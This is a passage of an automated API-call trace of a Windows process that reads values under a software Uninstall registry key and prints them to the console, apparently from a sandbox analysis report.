WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.863] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.863] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.863] lstrlenW (lpString="SystemComponent") returned 15 [0149.863] __iob_func () returned 0x7fefd702a80 [0149.863] _fileno (_File=0x7fefd702ab0) returned 1 [0149.863] _errno () returned 0x204bb0 [0149.863] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.863] _errno () returned 0x204bb0 [0149.863] GetFileType (hFile=0x50) returned 0x1 [0149.863] lstrlenW (lpString="SystemComponent") returned 15 [0149.863] GetConsoleOutputCP () returned 0x1b5 [0149.863] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.863] GetConsoleOutputCP () returned 0x1b5 [0149.863] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0149.863] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.863] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.863] __iob_func () returned 0x7fefd702a80 [0149.863] _fileno (_File=0x7fefd702ab0) returned 1 [0149.863] _errno () returned 0x204bb0 [0149.863] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.864] _errno () returned 0x204bb0 [0149.864] GetFileType (hFile=0x50) returned 0x1 [0149.864] lstrlenW (lpString=" ") returned 4 [0149.864] GetConsoleOutputCP () returned 0x1b5 [0149.864] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.864] GetConsoleOutputCP () returned 0x1b5 [0149.864] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.864] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.864] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.864] __iob_func () returned 0x7fefd702a80 [0149.864] _fileno (_File=0x7fefd702ab0) returned 1 [0149.864] _errno () returned 0x204bb0 [0149.864] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.864] _errno () returned 0x204bb0 [0149.864] GetFileType (hFile=0x50) returned 0x1 [0149.864] lstrlenW (lpString="REG_DWORD") returned 9 [0149.864] GetConsoleOutputCP () returned 0x1b5 [0149.864] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.864] GetConsoleOutputCP () returned 0x1b5 [0149.864] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.864] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.865] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.865] __iob_func () returned 0x7fefd702a80 [0149.865] _fileno (_File=0x7fefd702ab0) returned 1 [0149.865] _errno () returned 0x204bb0 [0149.865] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.865] _errno () returned 0x204bb0 [0149.865] GetFileType (hFile=0x50) returned 0x1 [0149.865] lstrlenW (lpString=" ") returned 4 [0149.865] GetConsoleOutputCP () returned 0x1b5 [0149.865] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.865] GetConsoleOutputCP () returned 0x1b5 [0149.865] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.865] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.865] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.865] __iob_func () returned 0x7fefd702a80 [0149.865] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.865] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.865] _fileno (_File=0x7fefd702ab0) returned 1 [0149.865] _errno () returned 0x204bb0 [0149.865] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.865] _errno () returned 0x204bb0 [0149.865] GetFileType (hFile=0x50) returned 0x1 [0149.865] lstrlenW (lpString="0x1") returned 3 [0149.865] GetConsoleOutputCP () returned 0x1b5 [0149.866] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.866] GetConsoleOutputCP () returned 0x1b5 [0149.866] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.866] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.866] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.866] __iob_func () returned 0x7fefd702a80 [0149.866] _fileno (_File=0x7fefd702ab0) returned 1 [0149.866] _errno () returned 0x204bb0 [0149.866] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.866] _errno () returned 0x204bb0 [0149.866] GetFileType (hFile=0x50) returned 0x1 [0149.866] lstrlenW (lpString="\n") returned 1 [0149.866] GetConsoleOutputCP () returned 0x1b5 [0149.866] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.866] GetConsoleOutputCP () returned 0x1b5 [0149.866] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.866] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.866] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.866] GetProcessHeap () returned 0x3c0000 [0149.867] GetProcessHeap () returned 0x3c0000 [0149.867] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.867] GetProcessHeap () returned 0x3c0000 [0149.867] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.867] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.867] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.867] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x6a) returned 0x0 [0149.867] GetProcessHeap () returned 0x3c0000 [0149.867] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6c) returned 0x3db830 [0149.867] GetProcessHeap () returned 0x3c0000 [0149.867] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.867] GetProcessHeap () returned 0x3c0000 [0149.867] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0149.867] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x6a | out: pdwType=0x29f700*=0x2, pvData="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", pcbData=0x29f780*=0x6a) returned 0x0 [0149.867] __iob_func () returned 0x7fefd702a80 [0149.867] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.867] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.867] _fileno (_File=0x7fefd702ab0) returned 1 [0149.867] _errno () returned 0x204bb0 [0149.867] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.867] _errno () returned 0x204bb0 [0149.867] GetFileType (hFile=0x50) returned 0x1 [0149.867] lstrlenW (lpString=" ") returned 4 [0149.867] GetConsoleOutputCP () returned 0x1b5 [0149.867] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.867] GetConsoleOutputCP () returned 0x1b5 [0149.867] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.867] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.868] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.868] lstrlenW (lpString="UninstallString") returned 15 [0149.868] __iob_func () returned 0x7fefd702a80 [0149.868] _fileno (_File=0x7fefd702ab0) returned 1 [0149.868] _errno () returned 0x204bb0 [0149.868] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.868] _errno () returned 0x204bb0 [0149.868] GetFileType (hFile=0x50) returned 0x1 [0149.868] lstrlenW (lpString="UninstallString") returned 15 [0149.868] GetConsoleOutputCP () returned 0x1b5 [0149.868] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.868] GetConsoleOutputCP () returned 0x1b5 [0149.868] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0149.868] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.868] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.868] __iob_func () returned 0x7fefd702a80 [0149.868] _fileno (_File=0x7fefd702ab0) returned 1 [0149.868] _errno () returned 0x204bb0 [0149.868] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.868] _errno () returned 0x204bb0 [0149.868] GetFileType (hFile=0x50) returned 0x1 [0149.868] lstrlenW (lpString=" ") returned 4 [0149.868] GetConsoleOutputCP () returned 0x1b5 [0149.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.869] GetConsoleOutputCP () returned 0x1b5 [0149.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.869] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.869] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.869] __iob_func () returned 0x7fefd702a80 [0149.869] _fileno (_File=0x7fefd702ab0) returned 1 [0149.869] _errno () returned 0x204bb0 [0149.869] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.869] _errno () returned 0x204bb0 [0149.869] GetFileType (hFile=0x50) returned 0x1 [0149.869] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0149.869] GetConsoleOutputCP () returned 0x1b5 [0149.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.869] GetConsoleOutputCP () returned 0x1b5 [0149.869] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0149.869] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.869] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.869] __iob_func () returned 0x7fefd702a80 [0149.869] _fileno (_File=0x7fefd702ab0) returned 1 [0149.869] _errno () returned 0x204bb0 [0149.869] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.870] _errno () returned 0x204bb0 [0149.870] GetFileType (hFile=0x50) returned 0x1 [0149.870] lstrlenW (lpString=" ") returned 4 [0149.870] GetConsoleOutputCP () returned 0x1b5 [0149.870] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.870] GetConsoleOutputCP () returned 0x1b5 [0149.870] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.870] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.870] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.870] __iob_func () returned 0x7fefd702a80 [0149.870] _fileno (_File=0x7fefd702ab0) returned 1 [0149.870] _errno () returned 0x204bb0 [0149.870] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.870] _errno () returned 0x204bb0 [0149.870] GetFileType (hFile=0x50) returned 0x1 [0149.870] lstrlenW (lpString="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}") returned 52 [0149.870] GetConsoleOutputCP () returned 0x1b5 [0149.870] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0149.870] GetConsoleOutputCP () returned 0x1b5 [0149.870] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", cchWideChar=52, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{582EA838-9199-3518-A05C-DB09462F68EC}", lpUsedDefaultChar=0x0) returned 52 [0149.870] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0149.871] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.871] __iob_func () returned 0x7fefd702a80 [0149.871] _fileno (_File=0x7fefd702ab0) returned 1 [0149.871] _errno () returned 0x204bb0 [0149.871] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.871] _errno () returned 0x204bb0 [0149.871] GetFileType (hFile=0x50) returned 0x1 [0149.871] lstrlenW (lpString="\n") returned 1 [0149.871] GetConsoleOutputCP () returned 0x1b5 [0149.871] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.871] GetConsoleOutputCP () returned 0x1b5 [0149.871] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.871] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.871] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.871] GetProcessHeap () returned 0x3c0000 [0149.871] GetProcessHeap () returned 0x3c0000 [0149.871] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.871] GetProcessHeap () returned 0x3c0000 [0149.871] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x6c [0149.871] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.871] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.871] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.871] GetProcessHeap () returned 0x3c0000 [0149.871] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.871] GetProcessHeap () returned 0x3c0000 [0149.872] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.872] GetProcessHeap () returned 0x3c0000 [0149.872] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.872] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.872] __iob_func () returned 0x7fefd702a80 [0149.872] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.872] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.872] _fileno (_File=0x7fefd702ab0) returned 1 [0149.872] _errno () returned 0x204bb0 [0149.872] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.872] _errno () returned 0x204bb0 [0149.872] GetFileType (hFile=0x50) returned 0x1 [0149.872] lstrlenW (lpString=" ") returned 4 [0149.872] GetConsoleOutputCP () returned 0x1b5 [0149.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.872] GetConsoleOutputCP () returned 0x1b5 [0149.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.872] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.872] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.872] lstrlenW (lpString="URLInfoAbout") returned 12 [0149.872] __iob_func () returned 0x7fefd702a80 [0149.872] _fileno (_File=0x7fefd702ab0) returned 1 [0149.872] _errno () returned 0x204bb0 [0149.872] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.872] _errno () returned 0x204bb0 [0149.872] GetFileType (hFile=0x50) returned 0x1 [0149.872] lstrlenW (lpString="URLInfoAbout") returned 12 [0149.872] GetConsoleOutputCP () returned 0x1b5 [0149.873] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.873] GetConsoleOutputCP () returned 0x1b5 [0149.873] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="URLInfoAbout", lpUsedDefaultChar=0x0) returned 12 [0149.873] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.873] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.873] __iob_func () returned 0x7fefd702a80 [0149.873] _fileno (_File=0x7fefd702ab0) returned 1 [0149.873] _errno () returned 0x204bb0 [0149.873] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.873] _errno () returned 0x204bb0 [0149.873] GetFileType (hFile=0x50) returned 0x1 [0149.873] lstrlenW (lpString=" ") returned 4 [0149.873] GetConsoleOutputCP () returned 0x1b5 [0149.873] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.873] GetConsoleOutputCP () returned 0x1b5 [0149.873] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.873] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.873] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.874] __iob_func () returned 0x7fefd702a80 [0149.874] _fileno (_File=0x7fefd702ab0) returned 1 [0149.874] _errno () returned 0x204bb0 [0149.874] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.874] _errno () returned 0x204bb0 [0149.874] GetFileType (hFile=0x50) returned 0x1 [0149.874] lstrlenW (lpString="REG_SZ") returned 6 [0149.874] GetConsoleOutputCP () returned 0x1b5 [0149.874] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.874] GetConsoleOutputCP () returned 0x1b5 [0149.874] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.874] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.874] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.874] __iob_func () returned 0x7fefd702a80 [0149.874] _fileno (_File=0x7fefd702ab0) returned 1 [0149.874] _errno () returned 0x204bb0 [0149.874] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.874] _errno () returned 0x204bb0 [0149.874] GetFileType (hFile=0x50) returned 0x1 [0149.874] lstrlenW (lpString=" ") returned 4 [0149.874] GetConsoleOutputCP () returned 0x1b5 [0149.874] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.874] GetConsoleOutputCP () returned 0x1b5 [0149.875] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.875] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.875] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.875] __iob_func () returned 0x7fefd702a80 [0149.875] _fileno (_File=0x7fefd702ab0) returned 1 [0149.875] _errno () returned 0x204bb0 [0149.875] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.875] _errno () returned 0x204bb0 [0149.875] GetFileType (hFile=0x50) returned 0x1 [0149.875] lstrlenW (lpString="") returned 0 [0149.875] __iob_func () returned 0x7fefd702a80 [0149.875] _fileno (_File=0x7fefd702ab0) returned 1 [0149.875] _errno () returned 0x204bb0 [0149.875] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.875] _errno () returned 0x204bb0 [0149.875] GetFileType (hFile=0x50) returned 0x1 [0149.875] lstrlenW (lpString="\n") returned 1 [0149.875] GetConsoleOutputCP () returned 0x1b5 [0149.875] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 